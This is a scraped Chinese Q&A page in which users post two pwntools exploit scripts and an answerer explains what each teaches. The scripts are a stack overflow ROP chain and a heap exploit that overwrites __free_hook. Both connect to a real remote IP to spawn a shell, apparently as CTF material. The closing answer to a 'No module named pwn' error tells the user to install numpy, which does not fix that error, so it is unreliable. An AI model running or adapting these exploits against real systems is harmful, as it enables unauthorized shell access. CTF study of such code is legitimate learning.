from pwn import * import struct import os context(os='linux', arch='amd64', log_level='debug') elf = ELF("./Login") libc = ELF("./libc-2.23.so") DEBUG = 0 def exp(p): p.recvuntil("Here is a tip: 0x") std_addr = int(p.recv(12), 16) info("std_addr----->"+hex(std_addr)) libc.address = std_addr - 0x3c48e0 p.recvuntil("input the username:\n") p.send(b"a"*28+b"\xCC\x15\xCC\x15") p.recvuntil("input the password:\n") payload = b"a"*0x28 + p64(0x00000000004008c3) + p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym["system"]) p.send(payload) p.interactive() def main(): if DEBUG: p = process("./Login") gdb.attach(p, "source ./.gdbinit") exp(p) else: p = remote("59.110.164.72", 10000) exp(p) if __name__ == "__main__": main()这串代码的知识点
时间: 2024-04-28 09:24:03 浏览: 176
这是一段使用 pwntools 库编写的 exploit 脚本,用于攻击一个名为 Login 的程序。该脚本的主要作用是通过溢出 Login 程序的缓冲区来实现攻击,并最终获取一个 shell。
具体来说,该脚本的主要知识点包括:
1. 使用 pwntools 库中的各种函数来与目标程序进行交互,如 `recvuntil`、`send`、`interactive` 等。
2. 使用 `ELF` 类来解析目标程序的 ELF 文件,获取其中的地址信息等。
3. 使用 `libc` ELF 文件中的符号来获取函数地址,如 `search`、`sym` 等。
4. 使用 `gdb` 调试工具来调试目标程序,如 `process`、`attach` 等。
5. 利用栈溢出漏洞来覆盖程序的返回地址,从而实现控制程序流程的目的。
6. 利用泄漏的地址信息计算出 libc 的基地址,从而获取 libc 中的函数地址。
7. 利用 `system` 函数来执行 shell 命令,从而获取 shell。
相关问题
from pwn import *#p = process('./uheap') p = remote('59.110.164.72',10029) context(arch='amd64', log_level='debug')libc = ELF('./libc-2.27.so') elf = ELF('./uheap')menu = b"choice:" def add(idx, size):p.sendlineafter(menu, b'1')p.sendlineafter(b"Index:", str(idx).encode())p.sendlineafter(b"len:", str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx,msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"Index:", str(idx).encode())p.send(msg)def show(idx):p.sendlineafter(menu, b'4')p.sendlineafter(b"Index:", str(idx).encode())p.sendafter(b"Input your favorite sentence:", b'A'*0x30) p.sendlineafter(b"Input your cookie:", str(0x15C6156C).encode())p.recvuntil(b"gift: ") gift1 = int(p.recvline(),16)p.recvuntil(b"gift: ") gift2 = int(p.recvline(),16) elf.address = (gift1^gift2) - 0x202090 print(f"{gift2 = :x},{elf.address = :x}")#gdb.attach(p,'b*0x0000555555400e37\nc')add(2, 0x80) show(-11) libc.address = u64(p.recv(32)[-8:]) - libc.sym['_IO_2_1_stdout_'] print(f"{libc.address = :x}")free(2) edit(2, p64(libc.sym['__free_hook'])) add(1, 0x80)#chk edit(-11, flat(elf.address+0x202090)) edit(-11, p64((libc.sym['__free_hook']&0xFFFFFFFFFFFFF000 )+0x250))#gdb.attach(p) #pause()add(3, 0x80) edit(1, b'/bin/sh\x00') edit(3, p64(libc.sym['system']))free(1) p.interactive()这串代码的知识点
这段代码是一个堆漏洞利用的示例,主要包括以下知识点:
1. 使用pwntools库进行远程攻击,以及进行基本的交互和发送数据的操作。
2. 使用ELF类获取二进制文件中的符号信息,包括libc中的符号和elf中的符号。
3. 构造堆块,包括分配、释放、修改和查看。
4. 利用堆漏洞实现任意地址读写,以及泄露libc基址和elf基址。
5. 利用libc和elf中的符号,进行攻击。
6. 利用gdb进行调试,以及使用pause()函数进行手动调试。
总体而言,这段代码涉及的知识点比较多,需要对堆漏洞的利用以及libc和elf中的符号有一定的了解。
from pwn import * ImportError: No module named pwn
当出现`ImportError: No module named ***`的错误时,通常是因为Python无法找到所需的模块。这可能是由于以下原因之一导致的:
1. 模块未安装:确保你已经使用pip或其他包管理器正确安装了所需的模块。如果你没有安装该模块,可以使用以下命令安装numpy模块:
```shell
pip install numpy
```
2. 模块路径错误:如果模块已经安装,但Python仍然无法找到它,可能是因为模块的路径未正确设置。你可以尝试将模块路径添加到PYTHONPATH环境变量中。在Linux或Mac系统中,可以使用以下命令将模块路径添加到PYTHONPATH中:
```shell
export PYTHONPATH=/usr/local/lib/python2.7/site-packages
```
请注意,上述命令中的路径`/usr/local/lib/python2.7/site-packages`是一个示例路径,你需要将其替换为你实际安装模块的路径。
阅读全文